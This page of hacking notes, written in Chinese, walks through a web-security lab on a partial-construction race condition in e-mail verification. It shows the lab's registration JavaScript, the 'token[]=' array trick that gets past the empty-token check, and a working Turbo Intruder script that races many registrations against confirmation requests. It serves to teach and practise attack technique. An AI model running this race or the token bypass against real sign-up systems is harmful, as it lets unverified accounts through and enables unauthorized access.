> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/partial-construction-race-condition.md).

# 部分构造竞争条件

### 部分构造竞态条件

#### 实验目标

* 该站点提供一个注册机制，带有 **邮件验证**.
* 一个 **竞态条件** 允许你 **绕过检查** 并使用任意地址注册。
* 最终目标： **创建一个账户**，登录，然后 **删除用户 `carlos`**.

#### 观察到的上下文（注册）

* UI 侧消息：

<figure><img src="/files/d38398343138f0a4b4a1a93773a237f7d86010fd" alt=""><figcaption></figcaption></figure>

使用实验提供的邮箱尝试创建账户 -> 响应：

<figure><img src="/files/1b3501c48f80a6e6bb44784cd1467e435b7ac103" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/723dcea475b2d9d5758bc4dac845244f3820f8a1" alt=""><figcaption></figcaption></figure>

尝试使用合规邮箱，例如 `jordan@ginandjuice.shop` → 答案：

**“请检查您的电子邮件以获取账户注册链接”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/4cbad1050baa4cb09cdf14dde41a3093f246f32c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7012fc6661d873b93f9ddf50ddf9b23c573f427b" alt=""><figcaption></figcaption></figure>

#### 利用分析（资源/users.js）

<figure><img src="/files/0dd853f64cd1ec1c4168d0abd7cb8f42c3a97759" alt=""><figcaption></figcaption></figure>

在 `users.js`，我们看到：

* 注册表单发送 `username`, `email`, `密码`.
* 邮件确认通过一个 **POST** 到：
* `POST /confirm?token=...`
* 令牌从 URL 中提取并注入确认表单的 action 中。

结论：验证依赖于一个端点 **/confirm** 与一个 **令牌** 通过查询字符串传输。

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = '用户名';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = '电子邮件';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = '密码';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '注册';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '确认';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### 首次尝试与阻止

* 尝试强制执行空确认：

```http
POST /confirm?token=token
```

<figure><img src="/files/ede4bd8005fd2d136a7bc57dbaab5517b22b452e" alt=""><figcaption></figcaption></figure>

* 答案： **禁止访问** → 受保护的端点会阻止空令牌

<figure><img src="/files/d0bebf8671800c14e01498776af394dfb3c0631d" alt=""><figcaption></figcaption></figure>

#### 绕过保护（另一种解释）

新尝试：

```bash
/confirm?token[]=
```

* 答案：\*\*
* 解释：后端不再以 Forbidden 方式阻止，而是\*\*处理该值\*\*（但表明它是一个数组）。

<figure><img src="/files/8c0a70304f3882393c384af7a488c546266605bc" alt=""><figcaption></figcaption></figure>

#### 时序观察

* 该 **注册** 请求更慢：
* /\~ **199 毫秒**

该 **确认** 请求更快：

* /\~ **78 毫秒**

<figure><img src="/files/1339e19eb8d73bf5da23d1b7200f6c4d46c49b60" alt=""><figcaption></figcaption></figure>

思路： **炸弹** `/confirm?token[]=` 在账户创建期间的窗口中，以在错误的时间触发确认

### 利用

#### 方法 1 — Intruder（竞争）

1. 发送 `POST /confirm?token[]=` 请求到 Intruder。

<figure><img src="/files/8eb6d9c0dad98baf45ab1b04a7a42598fa8173cc" alt=""><figcaption></figcaption></figure>

* 将发送配置为 **竞争请求** （例如 10）。

<figure><img src="/files/bd4f4cb4d3cc68b8a56113146dda8f1887161b7b" alt=""><figcaption></figcaption></figure>

* 在这段刷请求期间，从 Repeater（或浏览器）创建多个账户：
* `test1`, `test2`, `test3`,... `test7`

检查 Intruder 的响应：

* 其中一个响应最终返回 **200**

<figure><img src="/files/8b5df00bd592ecec8166a3c8ba8e12e42fdfa73c" alt=""><figcaption></figcaption></figure>

尝试使用测试账户登录：

* 观察到成功（例如 `test2`).

<figure><img src="/files/c9cde8001c888df6d9647535765ebafa1e682fa9" alt=""><figcaption></figcaption></figure>

#### 方法 2 — Turbo Intruder（Race 单包攻击）

1. 选择一个请求并发送到 **Turbo Intruder**.

<figure><img src="/files/265a336ed61b497e814a492eae26579532ccff38" alt=""><figcaption></figcaption></figure>

* 选择 **竞态 / 单包** 攻击。

<figure><img src="/files/fb00f8fe0e9be3d6409f2c1d6c9a085ef54aaebf" alt=""><figcaption></figcaption></figure>

使用此脚本：

脚本原理（此处的应用）：

* 文件 **多个注册** (`lol0..lol19` 用户）
* 请求 **多个确认** (`/confirm?token[]=`)
* 打开闸门以触发竞态条件。

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/81f14f8ed5bd612553c46b3293f92e6bd3887c59" alt=""><figcaption></figcaption></figure>

#### 预期结果

* 至少创建一个账户 **仿佛邮箱已被确认** （无需持有令牌）。
* 然后你可以用这个账户登录，再使用账户功能来达成实验目标（删除 `carlos`).

<figure><img src="/files/4b9df065664ccda7b71eabf228e9c3db27b09e29" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
